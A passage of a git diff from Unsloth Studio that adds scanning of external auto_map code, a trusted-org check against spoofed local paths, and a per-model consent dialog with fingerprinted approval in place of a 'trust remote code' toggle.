+        for cfg_name in REMOTE_CODE_CONFIG_FILES:
+            try:
+                cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token)
+            except EntryNotFoundError:
+                continue
+            except Exception:
+                continue
+            try:
+                refs = _auto_map_refs(json.loads(Path(cfg_path).read_text()))
+            except Exception:
+                continue
+            repos.update(repo for repo, _fn in refs if repo)
+    except Exception:
+        return repos
+    return repos
+
+
+def _add_external_refs(files: dict, refs, hf_token, model_name: str) -> bool:
+    """Download external-repo auto_map code into ``files`` (keyed ``repo--file``).
+
+    transformers fetches the entry file AND its relative imports from the same external
+    repo, so scanning only the entry would miss code in a ``helper.py`` it imports. Mirror
+    the own-repo path: enumerate each external repo's ``.py`` and scan the whole set (plus
+    the referenced entry files). Returns False if any external repo cannot be listed or a
+    file cannot be fetched, so the caller fails closed.
+    """
+    from pathlib import Path
+
+    from huggingface_hub import hf_hub_download, list_repo_files
+
+    # Group the explicit entry refs by external repo.
+    entries: dict = {}
+    for repo, fn in refs:
+        if repo is None:
+            continue
+        entries.setdefault(repo, set()).add(fn)
+
+    for repo, entry_files in entries.items():
+        try:
+            repo_files = list_repo_files(repo, token = hf_token)
+        except Exception as exc:
+            logger.warning(
+                "repo_remote_code_files(%s): external repo %s unlistable (%s); failing closed",
+                model_name,
+                repo,
+                exc,
+            )
+            return False
+        # The loader's executable closure = every present .py plus any referenced entry
+        # file. With a REAL (non-empty) listing, present_py covers the code, so an entry
+        # ref absent from it is stale/mis-derived and is dropped rather than failing
+        # closed (like the own-repo path). With an EMPTY listing we cannot prove the ref
+        # stale, so keep fetching it and fail closed if unreachable; never under-scan. A
+        # PRESENT file that cannot be fetched still fails closed below.
+        repo_file_set = set(repo_files)
+        present_py = {f for f in repo_files if f.endswith(".py")}
+        if repo_file_set:
+            for fn in sorted(set(entry_files) - repo_file_set):
+                logger.info(
+                    "repo_remote_code_files(%s): ignoring stale external auto_map target "
+                    "%s:%s (absent from the repo listing; it cannot execute)",
+                    model_name,
+                    repo,
+                    fn,
+                )
+            wanted = present_py | (set(entry_files) & repo_file_set)
+        else:
+            wanted = present_py | set(entry_files)
+        for fn in sorted(wanted):
+            try:
+                fp = hf_hub_download(repo, fn, token = hf_token)
+            except Exception as exc:
+                logger.warning(
+                    "repo_remote_code_files(%s): external %s:%s unscannable (%s)",
+                    model_name,
+                    repo,
+                    fn,
+                    exc,
+                )
+                return False
+            files[f"{repo}--{fn}"] = Path(fp).read_text(errors = "replace")
+    return True
diff --git a/studio/backend/utils/security/trusted_org.py b/studio/backend/utils/security/trusted_org.py
new file mode 100644
index 0000000000..968a740eea
--- /dev/null
+++ b/studio/backend/utils/security/trusted_org.py
@@ -0,0 +1,120 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Trusted-org checks for the ``trust_remote_code`` auto-enable paths.
+
+A bare ``name.startswith("unsloth/")`` is spoofable by a local path like
+``./unsloth/evil``. ``is_trusted_org_repo`` rejects local paths, requires an
+``org/repo`` under a trusted org, and (online) confirms via the Hub. Fails CLOSED
+on any uncertainty and never raises; a False just means "do not auto-enable".
+"""
+
+from __future__ import annotations
+
+import hashlib
+import os
+from typing import Optional
+
+from loggers import get_logger
+from utils.paths import is_local_path
+
+logger = get_logger(__name__)
+
+# Orgs we auto-enable remote code for.
+TRUSTED_ORGS: frozenset[str] = frozenset({"unsloth", "nvidia"})
+
+# Keyed on (name, verify_remote, token) so an unauthenticated failure can't poison
+# a later authenticated lookup; token is hashed, never stored raw.
+_verdict_cache: dict[tuple[str, bool, str], bool] = {}
+
+
+def _token_key(hf_token: Optional[str]) -> str:
+    """Non-reversible cache discriminator; empty when no token, never the raw token."""
+    if not hf_token:
+        return ""
+    return hashlib.sha256(hf_token.encode("utf-8")).hexdigest()[:12]
+
+
+def _env_offline() -> bool:
+    return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get(
+        "TRANSFORMERS_OFFLINE", ""
+    ).lower() in ("1", "true", "yes")
+
+
+def is_trusted_org_repo(
+    name: str,
+    hf_token: Optional[str] = None,
+    *,
+    verify_remote: bool = True,
+) -> bool:
+    """True only if *name* is a genuine HF repo under a trusted org. Fails closed
+    (local paths, malformed names, untrusted namespaces, Hub errors); never raises.
+    Offline trusts the namespace shape, since the Hub is unreachable by design.
+    """
+    if not name or not isinstance(name, str):
+        return False
+
+    cache_key = (name, verify_remote, _token_key(hf_token))
+    if cache_key in _verdict_cache:
+        return _verdict_cache[cache_key]
+
+    verdict = _evaluate(name, hf_token, verify_remote)
+    _verdict_cache[cache_key] = verdict
+    return verdict
+
+
+def _namespace(name: str) -> Optional[str]:
+    """Lowercased org of an ``org/repo`` id, else None."""
+    parts = name.split("/")
+    if len(parts) != 2 or not parts[0] or not parts[1]:
+        return None
+    return parts[0].lower()
+
+
+def _evaluate(name: str, hf_token: Optional[str], verify_remote: bool) -> bool:
+    # Local paths are never a trusted remote repo (the spoof this guards against).
+    try:
+        if is_local_path(name):
+            logger.debug("is_trusted_org_repo(%s): local path -> not trusted", name)
+            return False
+    except Exception:
+        return False
+
+    ns = _namespace(name)
+    if ns is None or ns not in TRUSTED_ORGS:
+        return False
+
+    # Offline: trust the shape (Hub intentionally unreachable).
+    if not verify_remote or _env_offline():
+        return True
+
+    # Online: confirm the id resolves to a trusted-org repo.
+    try:
+        from huggingface_hub import HfApi
+
+        info = HfApi().model_info(name, token = hf_token)
+        resolved_id = getattr(info, "id", None) or name
+        resolved_ns = _namespace(resolved_id)
+        author = getattr(info, "author", None)
+        if resolved_ns in TRUSTED_ORGS:
+            return True
+        if author and str(author).lower() in TRUSTED_ORGS:
+            return True
+        logger.warning(
+            "is_trusted_org_repo(%s): resolved id %r not under a trusted org",
+            name,
+            resolved_id,
+        )
+        return False
+    except Exception as exc:  # network/404/auth -> fail closed
+        logger.warning(
+            "is_trusted_org_repo(%s): Hub verification failed (%s) -> not trusted",
+            name,
+            exc,
+        )
+        return False
+
+
+def clear_cache() -> None:
+    """Test helper: drop the memoized verdicts."""
+    _verdict_cache.clear()
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 87a6726d33..a20fefbc39 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -111,8 +111,8 @@ _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = {
 # Cache for dynamic tokenizer_config.json lookups (avoids repeated fetches).
 _tokenizer_class_cache: dict[str, bool] = {}
 
-# Cache for dynamic config.json lookups (architecture/model_type checks).
-_config_json_cache: dict[str, dict | None] = {}
+# config.json cache keyed on (model_name, token-hash) so authed/unauthed reads stay separate.
+_config_json_cache: dict[tuple[str, str | None], dict | None] = {}
 _config_needs_510_cache: dict[str, bool] = {}
 _config_needs_550_cache: dict[str, bool] = {}
 
@@ -328,39 +328,51 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
         return False
 
 
-def _load_config_json(model_name: str) -> dict | None:
-    """Return parsed ``config.json`` for *model_name*, checking local files first."""
-    if model_name in _config_json_cache:
-        return _config_json_cache[model_name]
+def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | None:
+    """Return parsed ``config.json`` for *model_name*, checking local files first.
+
+    ``hf_token`` authenticates the raw fetch so gated/private repos resolve. The
+    cache is keyed on the token so an unauthenticated miss never poisons a later
+    authenticated read.
+    """
+    import hashlib
+
+    tok = hashlib.sha256(hf_token.encode()).hexdigest()[:16] if hf_token else None
+    cache_key = (model_name, tok)
+    if cache_key in _config_json_cache:
+        return _config_json_cache[cache_key]
 
     local_cfg = Path(model_name) / "config.json"
     if local_cfg.is_file():
         try:
             with open(local_cfg) as f:
                 cfg = json.load(f)
-            _config_json_cache[model_name] = cfg
+            _config_json_cache[cache_key] = cfg
             return cfg
         except Exception as exc:
             logger.debug("Could not read %s: %s", local_cfg, exc)
-            _config_json_cache[model_name] = None
+            _config_json_cache[cache_key] = None
             return None
 
     if _env_offline():
-        _config_json_cache[model_name] = None
+        _config_json_cache[cache_key] = None
         return None
 
     import urllib.request
 
     url = f"https://huggingface.co/{model_name}/raw/main/config.json"
+    headers = {"User-Agent": "unsloth-studio"}
+    if hf_token:
+        headers["Authorization"] = f"Bearer {hf_token}"
     try:
-        req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"})
+        req = urllib.request.Request(url, headers = headers)
         with urllib.request.urlopen(req, timeout = 10) as resp:
             cfg = json.loads(resp.read().decode())
-        _config_json_cache[model_name] = cfg
+        _config_json_cache[cache_key] = cfg
         return cfg
     except Exception as exc:
         logger.debug("Could not fetch config.json for '%s': %s", model_name, exc)
-        _config_json_cache[model_name] = None
+        _config_json_cache[cache_key] = None
         return None
 
 
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index 7fb9380037..77b819aa63 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -6,6 +6,7 @@ import { Navbar } from "@/components/navbar";
 import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { SidebarInset, SidebarProvider } from "@/components/ui/sidebar";
 import { SettingsDialog, useSettingsDialogStore } from "@/features/settings";
+import { RemoteCodeConsentDialog } from "@/features/security";
 import { clearNewChatDraft, useChatRuntimeStore } from "@/features/chat";
 import { useTrainingUnloadGuard } from "@/features/training";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
@@ -142,6 +143,7 @@ function RootLayout() {
   return (
     <AppProvider>
       <SettingsDialog />
+      <RemoteCodeConsentDialog />
       {hideNavbar ? (
         <main className="flex-1">
           <Suspense fallback={<RouteFallback />}>
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 96cb1473bd..91bfe56120 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -1215,7 +1215,12 @@ async function autoLoadSmallestModel(): Promise<{
       load_in_4bit: true,
       trust_remote_code: trustRemoteCode,
     });
-    if (validation.requires_trust_remote_code && !trustRemoteCode) {
+    // Background auto-load never runs a repo's custom code or loads Hub-flagged unsafe
+    // files on its own; both are deferred to the explicit consent dialog instead.
+    if (
+      validation.requires_trust_remote_code ||
+      validation.requires_security_review
+    ) {
       blockedByTrustRemoteCode = true;
       return false;
     }
@@ -1567,11 +1572,11 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
         if (!loaded) {
           toast.error(
             blockedByTrustRemoteCode
-              ? "Enable custom code to auto-load this model"
+              ? "This model needs custom code approval"
               : "No model loaded",
             {
               description: blockedByTrustRemoteCode
-                ? 'Turn on "Enable custom code" in Chat Settings, or pick another model in the top bar.'
+                ? "Select it from the top bar to review and approve its custom code, or pick another model."
                 : "Pick a model in the top bar, then retry.",
             },
           );
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 7e5b92ffb6..b10c50262d 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -530,9 +530,6 @@ export function ChatSettingsPanel({
   const loadedSpecDraftNMax = useChatRuntimeStore(
     (s) => s.loadedSpecDraftNMax,
   );
-  const modelRequiresTrustRemoteCode = useChatRuntimeStore(
-    (s) => s.modelRequiresTrustRemoteCode,
-  );
   const currentCheckpoint = params.checkpoint;
   const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
   const ggufMaxContextLength = useChatRuntimeStore(
@@ -635,10 +632,6 @@ export function ChatSettingsPanel({
     [activePreset, hasUnsavedPresetChanges, presetNameInput, presets],
   );
   const systemPromptEditorDirty = systemPromptDraft !== params.systemPrompt;
-  const trustRemoteCodeMissing =
-    Boolean(currentCheckpoint) &&
-    modelRequiresTrustRemoteCode &&
-    !(params.trustRemoteCode ?? false);
   const showPromptCacheTtlControl = Boolean(
     activeExternalProvider &&
       supportsProviderPromptCacheTtl(activeExternalProvider.providerType),
@@ -1094,38 +1087,8 @@ export function ChatSettingsPanel({
                 </div>
               </>
             )}
-            {!isGguf && params.checkpoint && (
-              <>
-                <div className="flex items-center justify-between gap-3">
-                  <div className="flex min-w-0 items-center gap-1.5">
-                    <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
-                      Enable custom code
-                    </span>
-                    <InfoHint>
-                      Run custom Python from the model repo (e.g. Nemotron).
-                      Only enable for trusted sources.
-                    </InfoHint>
-                  </div>
-                  <Switch
-                    className="panel-switch shrink-0"
-                    checked={params.trustRemoteCode ?? false}
-                    onCheckedChange={set("trustRemoteCode")}
-                  />
-                </div>
-                {trustRemoteCodeMissing && (
-                  <Alert className="rounded-[14px] border-amber-200/70 bg-amber-50/70 px-3 py-2 text-amber-950 dark:border-amber-900/70 dark:bg-amber-950/35 dark:text-amber-100">
-                    <AlertTitle className="text-[12px] font-medium">
-                      Keep custom code enabled for this model
-                    </AlertTitle>
-                    <AlertDescription className="text-[11.5px] leading-[1.45] text-amber-800 dark:text-amber-200">
-                      This model requires custom code to load. You can edit the
-                      toggle, but loading will stay blocked until it is turned
-                      back on.
-                    </AlertDescription>
-                  </Alert>
-                )}
-              </>
-            )}
+            {/* No persistent "enable custom code" toggle: it is consented per model
+                via the load-time review dialog. */}
             {/* Apply/Reset belongs to the model-reload settings above (context
                 length, KV cache, speculative decoding). Render it here, before
                 the Chat Template row, so it never reads as attached to Chat
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index a948d9e39d..7bb8d71a71 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -3,6 +3,7 @@
 
 import { createElement, useCallback, useRef, useState } from "react";
 import { toast } from "@/lib/toast";
+import { confirmRemoteCodeIfNeeded } from "@/features/security";
 import { consumeNativePathToken } from "@/features/native-intents/api";
 import {
   notifyNative,
@@ -68,6 +69,16 @@ export type SelectedModelInput = {
   keepSpeculative?: boolean;
 };
 
+// Approved fingerprints by checkpoint, so a rollback after a failed switch can resend
+// the pinned approval the worker requires instead of being blocked.
+const approvedRemoteCodeFingerprints = new Map<string, string>();
+function rememberApprovedRemoteCode(
+  checkpoint: string,
+  fingerprint: string | null,
+): void {
+  if (fingerprint) approvedRemoteCodeFingerprints.set(checkpoint, fingerprint);
+}
+
 const MODEL_LOAD_TOAST_CLASSNAMES = {
   toast: "chat-model-load-toast items-center gap-2.5",
   content: "gap-0.5 flex-1 min-w-0",
@@ -221,7 +232,7 @@ function toLoraSummary(lora: {
 }
 
 function getTrustRemoteCodeRequiredMessage(modelName: string): string {
-  return `${modelName} needs custom code enabled to load. Turn on "Enable custom code" in Chat Settings, then try again.`;
+  return `${modelName} was not loaded because its custom code was not approved. Load it again to review the code and approve it.`;
 }
 
 export function useChatModelRuntime() {
@@ -481,7 +492,8 @@ export function useChatModelRuntime() {
           const currentCheckpoint =
             useChatRuntimeStore.getState().params.checkpoint;
           const stateBeforeUnload = useChatRuntimeStore.getState();
-          const trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false;
+          let trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false;
+          let approvedRemoteCodeFingerprint: string | null = null;
           const maxSeqLength = stateBeforeUnload.params.maxSeqLength;
           const previousIsGguf =
             previousModel?.isGguf === true
@@ -510,8 +522,25 @@ export function useChatModelRuntime() {
               is_lora: isLora,
               gguf_variant: ggufVariant ?? null,
             });
-            if (validation.requires_trust_remote_code && !trustRemoteCode) {
-              throw new Error(getTrustRemoteCodeRequiredMessage(displayName));
+            // Open the consent dialog when the model needs custom-code consent or has a
+            // flagged unsafe file. Fires even when trustRemoteCode is preset on, since the
+            // worker requires a matching fingerprint that only the dialog produces.
+            if (
+              validation.requires_trust_remote_code
+              || validation.requires_security_review
+            ) {
+              const approved = await confirmRemoteCodeIfNeeded({
+                modelName: modelId,
+                hfToken,
+                requiresTrustRemoteCode: true,
+                onApprove: (fp) => {
+                  trustRemoteCode = true;
+                  approvedRemoteCodeFingerprint = fp;
+                },
+              });
+              if (!approved) {
+                throw new Error(getTrustRemoteCodeRequiredMessage(displayName));
+              }
             }
             if (abortCtrl.signal.aborted) throw new Error("Cancelled");
             const loadNativePathLease = nativePathToken
@@ -575,6 +604,7 @@ export function useChatModelRuntime() {
               is_lora: isLora,
               gguf_variant: ggufVariant ?? null,
               trust_remote_code: trustRemoteCode,
+              approved_remote_code_fingerprint: approvedRemoteCodeFingerprint,
               chat_template_override: effectiveChatTemplateOverride,
               cache_type_kv: kvCacheDtype,
               speculative_type: speculativeType,
@@ -646,6 +676,7 @@ export function useChatModelRuntime() {
               : reloadingSameModel && supportsReasoning
                 ? stateBeforeUnload.reasoningEnabled
                 : reasoningDefault;
+            rememberApprovedRemoteCode(modelId, approvedRemoteCodeFingerprint);
             useChatRuntimeStore.setState({
               ggufContextLength: nativeCtx,
               ggufMaxContextLength,
@@ -746,6 +777,9 @@ export function useChatModelRuntime() {
                   gguf_variant: previousVariant,
                   trust_remote_code:
                     previousModelRequiresTrustRemoteCode || trustRemoteCode,
+                  // Resend the previous model's pinned approval so restoring it is not re-blocked.
+                  approved_remote_code_fingerprint:
+                    approvedRemoteCodeFingerprints.get(previousCheckpoint) ?? null,
                   // Restore the previous model in the split mode it was running,
                   // not the default layer split.
                   tensor_parallel: stateBeforeUnload.loadedTensorParallel ?? false,
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index cbfc42c6ae..8ad355344c 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -63,6 +63,7 @@ import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item";
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { NewProjectDialog } from "./components/new-project-dialog";
 import { useChatProjects } from "./hooks/use-chat-projects";
+import { confirmRemoteCodeIfNeeded } from "@/features/security";
 import { loadModel, validateModel } from "./api/chat-api";
 import {
   parseExternalModelId,
@@ -932,24 +933,43 @@ export function SharedComposer({
         sel: CompareModelSelection,
       ): Promise<string> {
         const currentStore = useChatRuntimeStore.getState();
+        let loadTrustRemoteCode = trustRemoteCode;
+        let approvedRemoteCodeFingerprint: string | null = null;
         const isAlreadyActive =
           currentStore.params.checkpoint === sel.id &&
           (currentStore.activeGgufVariant ?? null) ===
             (sel.ggufVariant ?? null);
-        if (!isAlreadyActive) {
-          const validation = await validateModel({
-            model_path: sel.id,
-            hf_token: currentStore.hfToken || null,
-            max_seq_length: maxSeqLength,
-            load_in_4bit: true,
-            is_lora: sel.isLora,
-            gguf_variant: sel.ggufVariant ?? null,
-            trust_remote_code: trustRemoteCode,
-            chat_template_override: effectiveChatTemplateOverride,
+        // Already loaded (gate passed at first load): skip a redundant reload that would
+        // re-trigger the gate without the approval fingerprint and fail for HIGH custom code.
+        if (isAlreadyActive) {
+          return "ready";
+        }
+        const validation = await validateModel({
+          model_path: sel.id,
+          hf_token: currentStore.hfToken || null,
+          max_seq_length: maxSeqLength,
+          load_in_4bit: true,
+          is_lora: sel.isLora,
+          gguf_variant: sel.ggufVariant ?? null,
+          trust_remote_code: loadTrustRemoteCode,
+          chat_template_override: effectiveChatTemplateOverride,
+        });
+        if (
+          validation.requires_trust_remote_code ||
+          validation.requires_security_review
+        ) {
+          const approved = await confirmRemoteCodeIfNeeded({
+            modelName: sel.id,
+            hfToken: currentStore.hfToken || null,
+            requiresTrustRemoteCode: true,
+            onApprove: (fp) => {
+              loadTrustRemoteCode = true;
+              approvedRemoteCodeFingerprint = fp;
+            },
           });
-          if (validation.requires_trust_remote_code && !trustRemoteCode) {
+          if (!approved) {
             throw new Error(
-              `${modelDisplayName(sel.id)} needs custom code enabled to load. Turn on "Enable custom code" in Chat Settings, then try again.`,
+              `${modelDisplayName(sel.id)} needs custom code approval to load.`,
             );
           }
         }
@@ -960,7 +980,8 @@ export function SharedComposer({
           load_in_4bit: true,
           is_lora: sel.isLora,
           gguf_variant: sel.ggufVariant ?? null,
-          trust_remote_code: trustRemoteCode,
+          trust_remote_code: loadTrustRemoteCode,
+          approved_remote_code_fingerprint: approvedRemoteCodeFingerprint,
           chat_template_override: effectiveChatTemplateOverride,
           speculative_type: specSettings.speculativeType,
           spec_draft_n_max: specSettings.specDraftNMax,
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 556caa0617..8fe0a0ef12 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -41,6 +41,8 @@ export interface LoadModelRequest {
   gguf_variant?: string | null;
   /** Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust. */
   trust_remote_code?: boolean;
+  /** sha256 fingerprint pinning user approval of this exact custom-code version. */
+  approved_remote_code_fingerprint?: string | null;
   chat_template_override?: string | null;
   cache_type_kv?: string | null;
   /**
@@ -72,6 +74,8 @@ export interface ValidateModelResponse {
   is_lora?: boolean;
   is_vision?: boolean;
   requires_trust_remote_code?: boolean;
+  // HF flagged unsafe files, so the load is hard-blocked pending dialog review.
+  requires_security_review?: boolean;
   /** Native context length from the local GGUF header; null until downloaded. */
   context_length?: number | null;
 }
diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
index 309cf3df64..486288a04e 100644
--- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
@@ -140,11 +140,7 @@ function sanitizeInferenceParams(
   if (typeof value.systemPrompt === "string") {
     params.systemPrompt = value.systemPrompt;
   }
-  if (typeof value.trustRemoteCode === "boolean") {
-    params.trustRemoteCode = value.trustRemoteCode;
-  }
-  // Mirror trustRemoteCode handling so the toggle survives reload
-  // and the /api/chat/settings round-trip.
+  // trustRemoteCode is no longer persisted: custom code is consented per model via the dialog.
   if (typeof value.fastMode === "boolean") {
     params.fastMode = value.fastMode;
   }
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index 58df511366..e6c51b1e36 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -54,6 +54,10 @@ export async function loadCheckpoint(params: {
   load_in_4bit?: boolean;
   /** Allow loading models with custom code. Only enable for checkpoints you trust. */
   trust_remote_code?: boolean;
+  /** sha256 fingerprint pinning user approval of this exact custom-code version. */
+  approved_remote_code_fingerprint?: string | null;
+  /** HF token so the worker scans/loads gated checkpoints and base models with the same auth as preflight. */
+  hf_token?: string | null;
 }): Promise<ExportOperationResponse> {
   const response = await authFetch("/api/export/load-checkpoint", {
     method: "POST",
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index e467b10d24..a1b2b49c2e 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -25,7 +25,6 @@ import {
   SelectValue,
 } from "@/components/ui/select";
 import { Separator } from "@/components/ui/separator";
-import { Switch } from "@/components/ui/switch";
 import { Spinner } from "@/components/ui/spinner";
 import {
   Tooltip,
@@ -37,6 +36,7 @@ import {
   type LocalModelInfo,
   useTrainingConfigStore,
 } from "@/features/training";
+import { confirmRemoteCodeIfNeeded } from "@/features/security";
 import {
   useDebouncedValue,
   useHfModelSearch,
@@ -129,8 +129,6 @@ export function ExportPage() {
     "checkpoint",
   );
   const [modelSource, setModelSource] = useState<"hf" | "local">("hf");
-  const [hfExportTrustRemoteCode, setHfExportTrustRemoteCode] =
-    useState(true);
   const [modelInput, setModelInput] = useState("");
   const [selectedSourceModel, setSelectedSourceModel] = useState<string | null>(
     null,
@@ -490,13 +488,34 @@ export function ExportPage() {
       // 1. Load model source
       if (sourceMode === "checkpoint") {
         if (!checkpointPath) return;
-        await loadCheckpoint({ checkpoint_path: checkpointPath });
+        await loadCheckpoint({
+          checkpoint_path: checkpointPath,
+          hf_token: hfToken || null,
+        });
       } else {
+        // Consent gate for an HF source's custom (auto_map) code: the only way to enable
+        // trust_remote_code here. A local checkpoint the user exported is trusted by default.
+        let trustRemoteCode = modelSource !== "hf";
+        let approvedRemoteCodeFingerprint: string | null = null;
+        const remoteCodeOk = await confirmRemoteCodeIfNeeded({
+          modelName: source,
+          hfToken: hfToken || null,
+          // An HF source can need trust_remote_code via its YAML default with no auto_map
+          // to review; signal it so a YAML-only model does not export with it false.
+          requiresTrustRemoteCode: modelSource === "hf",
+          onApprove: (fingerprint) => {
+            trustRemoteCode = true;
+            approvedRemoteCodeFingerprint = fingerprint;
+          },
+        });
+        if (!remoteCodeOk) return;
+
         await loadCheckpoint({
           checkpoint_path: source,
           load_in_4bit: false,
-          trust_remote_code:
-            modelSource === "hf" ? hfExportTrustRemoteCode : true,
+          trust_remote_code: trustRemoteCode,
+          approved_remote_code_fingerprint: approvedRemoteCodeFingerprint,
+          hf_token: hfToken || null,
         });
       }
 
@@ -578,7 +597,6 @@ export function ExportPage() {
     hfToken,
     privateRepo,
     modelSource,
-    hfExportTrustRemoteCode,
   ]);
 
   // ---- Render ----
@@ -868,43 +886,8 @@ export function ExportPage() {
                               </p>
                             )}
                           </div>
-                          <div className="flex items-center gap-2">
-                            <Switch
-                              id="hf-export-trust-remote-code"
-                              size="sm"
-                              checked={hfExportTrustRemoteCode}
-                              onCheckedChange={setHfExportTrustRemoteCode}
-                              disabled={exporting}
-                            />
-                            <label
-                              htmlFor="hf-export-trust-remote-code"
-                              className="cursor-pointer text-xs font-medium text-muted-foreground hover:text-foreground"
-                            >
-                              Trust remote code
-                            </label>
-                            <Tooltip>
-                              <TooltipTrigger asChild={true}>
-                                <button
-                                  type="button"
-                                  className="text-muted-foreground hover:text-foreground -m-1 inline-flex rounded p-1"
-                                  aria-label="About trust remote code"
-                                >
-                                  <HugeiconsIcon
-                                    icon={InformationCircleIcon}
-                                    className="size-3.5"
-                                  />
-                                </button>
-                              </TooltipTrigger>
-                              <TooltipContent
-                                side="top"
-                                className="max-w-[260px] text-xs"
-                              >
-                                Loads custom Python from the repo if the model
-                                needs it. Turn off if you do not trust the
-                                source.
-                              </TooltipContent>
-                            </Tooltip>
-                          </div>
+                          {/* No persistent "trust remote code" toggle: custom code is
+                              consented per model via the load-time review dialog. */}
                           <div className="flex flex-col gap-1.5">
                             <label className="text-xs font-medium text-muted-foreground">
                               Hugging Face Token (Optional)
diff --git a/studio/frontend/src/features/security/api/remote-code-api.ts b/studio/frontend/src/features/security/api/remote-code-api.ts
new file mode 100644
index 0000000000..8c22ec0f11
--- /dev/null
+++ b/studio/frontend/src/features/security/api/remote-code-api.ts
@@ -0,0 +1,111 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+import type {
+  RemoteCodeFinding,
+  RemoteCodeScan,
+  RemoteCodeSeverity,
+  RemoteCodeSnippetRow,
+  UnsafeFile,
+} from "../types";
+
+interface SnippetRowResponse {
+  number: number;
+  text: string;
+  is_match: boolean;
+  match_start?: number;
+  match_end?: number;
+}
+
+interface RemoteCodeScanResponse {
+  requires_trust_remote_code?: boolean;
+  has_remote_code?: boolean;
+  approvable?: boolean;
+  max_severity?: string | null;
+  fingerprint?: string | null;
+  findings?: Array<{
+    severity: string;
+    file: string;
+    check: string;
+    evidence?: string;
+    line?: number | null;
+    snippet?: SnippetRowResponse[];
+  }>;
+  findings_summary?: string;
+  model_name?: string;
+  created_by_scan?: boolean;
+  scan_created_repos?: string[];
+  unsafe_files?: Array<{ path?: string; level?: string }>;
+  security_blocked?: boolean;
+}
+
+/** Scan a model's auto_map code for the consent dialog (backend reads config + repo
+ *  .py, never loads the model). Token rides in the POST body, never the URL. */
+export async function getRemoteCodeScan(
+  modelName: string,
+  hfToken?: string | null,
+): Promise<RemoteCodeScan> {
+  const response = await authFetch(`/api/models/remote-code-scan`, {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ model_name: modelName, hf_token: hfToken ?? null }),
+  });
+  if (!response.ok) {
+    throw new Error(await readFastApiError(response));
+  }
+  const data = (await response.json()) as RemoteCodeScanResponse;
+  const findings: RemoteCodeFinding[] = (data.findings ?? []).map((f) => ({
+    severity: f.severity as RemoteCodeSeverity,
+    file: f.file,
+    check: f.check,
+    evidence: f.evidence,
+    line: f.line ?? null,
+    snippet: (f.snippet ?? []).map(
+      (r): RemoteCodeSnippetRow => ({
+        number: r.number,
+        text: r.text,
+        isMatch: r.is_match,
+        matchStart: r.match_start,
+        matchEnd: r.match_end,
+      }),
+    ),
+  }));
+  const unsafeFiles: UnsafeFile[] = (data.unsafe_files ?? []).map((u) => ({
+    path: u.path ?? "",
+    level: u.level ?? "unsafe",
+  }));
+  return {
+    requiresTrustRemoteCode: Boolean(
+      data.requires_trust_remote_code ?? data.has_remote_code,
+    ),
+    approvable: data.approvable ?? true,
+    maxSeverity: (data.max_severity as RemoteCodeSeverity | null) ?? null,
+    fingerprint: data.fingerprint ?? null,
+    findings,
+    findingsSummary: data.findings_summary ?? "",
+    modelName: data.model_name ?? modelName,
